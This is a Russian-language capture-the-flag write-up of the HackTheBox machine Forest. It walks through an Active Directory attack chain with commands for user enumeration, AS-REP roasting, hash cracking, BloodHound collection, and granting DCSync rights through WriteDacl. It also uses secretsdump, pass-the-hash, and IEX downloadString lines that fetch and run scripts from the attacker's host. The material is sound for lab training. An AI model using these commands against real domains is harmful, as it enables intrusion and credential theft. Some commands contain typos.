> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Разбор Forest на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**Навыки:**

* AXFR — атака переноса доменной зоны (неудачно)
* RPC-энумерация — получение действительных доменных пользователей
* Проведение атаки AS-RepRoast с полученными пользователями
* Взлом хэшей
* Злоупотребление WinRM — EvilWinRM
* LDAP-энумерация — ldapdomaindump
* Энумерация BloodHound
* Сбор системной информации с помощью SharpHound.ps1 — PuckieStyle
* Представление и визуализация данных в BloodHound
* Поиск вектора атаки в BloodHound
* Злоупотребление группой Account Operators — создание нового пользователя
* Злоупотребление группой Account Operators — назначение группы новосозданному пользователю
* Злоупотребление WriteDacl в домене — предоставление привилегий DCSync
* Эксплуатация DCSync — Secretsdump.py
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/2e941fb93db020a76ae3f0e176d8cae0f3c85107" alt=""><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/971fe020daffeeb5d353d042589ee743510f943f" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="/files/af2b06829e9e8b5d3ad9595ed1db6be878f30fca" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractport:**/ Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

<figure><img src="/files/963a767557cb6ed4db914a94b76bccbbd7187de6" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:**/ Используйте Nmap для сканирования версий служб и сохранения вывода в файл "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="/files/f894f497e08f14e3f49e0af2e68092aaf1500cef" alt=""><figcaption></figcaption></figure>

## **Список и операции:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **Разведка SMB:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

Использование CrackMapExec для определения операционной системы

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="/files/d96b80b9431af837d2fa90c987f919ca35636cf2" alt=""><figcaption></figcaption></figure></div>

Чтобы разрешить доменные имена в IP-адреса через DNS, в него вставляется доменное имя, связанное с его IP-адресом/ `/etc/hosts` файле.

<figure><img src="/files/b9049a176a04e9bf91d8f8988b366a8f0dbbb9a7" alt=""><figcaption></figcaption></figure>

/*/Исследование SMB-шар в сети для выявления общих ресурсов, но результатов нет. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="/files/dc4979060049e8ca51464388243c4cfb60366925" alt=""><figcaption></figcaption></figure>

### **Разведка RPC:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

Использование rpcclient для взаимодействия с службами CPP и сбора информации о ресурсах

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="/files/642acc5f85eb1a00d71346f2c89fbead1dba6b7d" alt=""><figcaption></figcaption></figure>

#### Список групп:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="/files/d6053de0dfee05da0102128cdae764a3ba949691" alt=""><figcaption></figcaption></figure>

## Атака ASREPRoast:

#### Имея список действительных пользователей, мы проведём атаку AS-RepRoast, так как нам не нужны пароли пользователей.

Мы будем использовать `grep` чтобы отфильтровать имена пользователей, затем поместите эти данные в файл

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="/files/aefb2788e48a4accdf24061af19123ce6bd3a1dc" alt=""><figcaption></figcaption></figure>

#### Мы используем инструмент GetNPUsers.py для извлечения информации о пользователях без пароля:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="/files/8e61f3e15460a7ed4bdb5e124c4d895459d3357a" alt=""><figcaption></figcaption></figure>

#### Мы получаем хэш пароля пользователя "lucinda" и пытаемся взломать его с помощью John the Ripper, используя заранее подготовленный список паролей:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/4fc6372d979bec5769fae31218a669fecb61261b" alt=""><figcaption></figcaption></figure>

#### Мы используем CrackMapExec, чтобы проверить, верен ли взломанный пароль, пытаясь установить подключение WinRM:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="/files/41be541c3eb58b8b2ab33f3eb928b410cfecb224" alt=""><figcaption></figcaption></figure></div>

#### Наконец, мы используем Evil-WinRM для подключения к удалённой машине с взломанными учётными данными:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="/files/c3cd0e18c563870d26b2399547fd672252df778b" alt=""><figcaption></figcaption></figure>

## Повышение привилегий:

### Доменная энумерация с BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>Установка BloodHound:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/Войти в BloodHound с учётными данными neo4j:neo4j. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**Запуск BloodHound.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="/files/ce3eb8195f7d43b97a6394382084fae80f7fccab" alt=""><figcaption></figcaption></figure>

### Сбор информации с помощью SharpHound.ps1 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### Передать собранные данные на Linux-сервер.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="/files/c437ccaf61426ad5e6b9dfc3f9c11ccb27bb3fae" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="/files/3d4ed6167e195acc03f2ffffd3f69215ba6a8344" alt=""><figcaption></figcaption></figure>

#### Мы передаём zip-архив нашей команде.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="/files/2e4c549fc4871fe0701da813bccafeaa7ab6563d" alt=""><figcaption></figcaption></figure>

/*/Импортировать zip-файл в BloodHound. //*

<figure><img src="/files/da12c9e33a69410ffb1ed96598f4c2a9a0c8d835" alt=""><figcaption></figcaption></figure>

### Анализ и операции в BloodHound <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### Фильтрация данных для поиска кратчайшего пути к доменному администратору.

<div data-full-width="true"><figure><img src="/files/31790265f0a13e8e473c1e29627eb4c79c54ab3b" alt=""><figcaption></figcaption></figure></div>

#### Выявление членства в потенциально проблемной группе (Account Operator).

<div data-full-width="true"><figure><img src="/files/32f7665c85c86fb38b2260c318c103c35c594182" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/c4869d2886486f6b8841cc025d22c8c9b0a140c4" alt=""><figcaption></figcaption></figure></div>

#### Использование возможности создания пользователей для подготовки атаки DCSync.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="/files/0a281d9b4645108d1317cf9b581f3c7f00ffd230" alt=""><figcaption></figcaption></figure>

### Попытка DCSync без достаточных прав

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/78eebc46f67b48c51eec5e853ecc1030c4d3a65c" alt=""><figcaption></figcaption></figure>

#### Добавлен пользователь в группу с более высокими привилегиями (`Exchange Windows Permissions`).

<figure><img src="/files/d5a7fea5dd09383212ee046e78069bcd009977f0" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="/files/11a2bfc5ecbd1efcdc810c85cd0e8983f95e88af" alt=""><figcaption></figcaption></figure>

### Атака WriteDACL:

<figure><img src="/files/933b032f04287a3d1447cc6ee4116ea0319e4c4b" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

Подготовка атаки WriteDACL с использованием PowerView\.ps1 для добавления функциональности.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="/files/f92fb9a53337f034744fd9a3799603d9bb509245" alt=""><figcaption></figcaption></figure>

#### Передача файла

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## Уязвимость атаки DCSync <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### Выполните команду Add-DomainObjectAcl, чтобы получить хэши.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### Использование Impacket для извлечения хэшей с пользователем jordanmacia.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/7a17289ee589a77a15b6daa8bb341e724882775a" alt=""><figcaption></figcaption></figure>

### Атака Pass-the-Hash:

Использование NT-хэша администратора для атаки Pass-the-Hash.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### Доступ к системе с правами администратора.

<figure><img src="/files/c05ea2c92208cb19690e868c066a95aaf1219534" alt=""><figcaption></figcaption></figure>

### Финальный флаг :)

<figure><img src="/files/50fdd6e7429932f487e0a512d94ef88388f90359" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/378da635d00f9a2e2858c7e0a41b4e004d6e4533" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
